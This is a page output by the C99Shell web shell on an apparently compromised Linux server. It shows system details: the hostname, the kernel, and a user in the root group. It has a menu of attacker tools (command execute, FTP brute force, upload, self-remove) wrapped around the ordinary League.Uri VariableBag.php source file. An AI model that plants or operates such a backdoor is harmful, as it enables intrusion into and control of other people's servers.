!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/vendor/league/uri/src/UriTemplate/   drwxr-xr-x
Free 29.26 GB of 117.98 GB (24.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     VariableBag.php (2.8 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * League.Uri (https://uri.thephpleague.com)
 *
 * (c) Ignace Nyamagana Butera <nyamsprod@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

declare(strict_types=1);

namespace 
League\Uri\UriTemplate;

use 
League\Uri\Exceptions\TemplateCanNotBeExpanded;
use function 
gettype;
use function 
is_array;
use function 
is_bool;
use function 
is_object;
use function 
is_scalar;
use function 
method_exists;
use function 
sprintf;

final class 
VariableBag
{
    
/**
     * @var array<string,string|array<string>>
     */
    
private $variables = [];

    
/**
     * @param iterable<string,mixed> $variables
     */
    
public function __construct(iterable $variables = [])
    {
        foreach (
$variables as $name => $value) {
            
$this->assign($name$value);
        }
    }

    public static function 
__set_state(array $properties): self
    
{
        return new 
self($properties['variables']);
    }

    
/**
     * @return array<string,string|array<string>>
     */
    
public function all(): array
    {
        return 
$this->variables;
    }

    
/**
     * Fetches the variable value if none found returns null.
     *
     * @return null|string|array<string>
     */
    
public function fetch(string $name)
    {
        return 
$this->variables[$name] ?? null;
    }

    
/**
     * @param string|array<string> $value
     */
    
public function assign(string $name$value): void
    
{
        
$this->variables[$name] = $this->normalizeValue($value$nametrue);
    }

    
/**
     * @param mixed $value the value to be expanded
     *
     * @throws TemplateCanNotBeExpanded if the value contains nested list
     *
     * @return string|array<string>
     */
    
private function normalizeValue($valuestring $namebool $isNestedListAllowed)
    {
        if (
is_bool($value)) {
            return 
true === $value '1' '0';
        }

        if (
null === $value || is_scalar($value) || (is_object($value) && method_exists($value'__toString'))) {
            return (string) 
$value;
        }

        if (!
is_array($value)) {
            throw new 
\TypeError(sprintf('The variable '.$name.' must be NULL, a scalar or a stringable object `%s` given'gettype($value)));
        }

        if (!
$isNestedListAllowed) {
            throw 
TemplateCanNotBeExpanded::dueToNestedListOfValue($name);
        }

        foreach (
$value as &$var) {
            
$var self::normalizeValue($var$namefalse);
        }
        unset(
$var);

        return 
$value;
    }

    
/**
     * Replaces elements from passed variables into the current instance.
     */
    
public function replace(VariableBag $variables): self
    
{
        
$instance = clone $this;
        
$instance->variables += $variables->variables;

        return 
$instance;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0048 ]--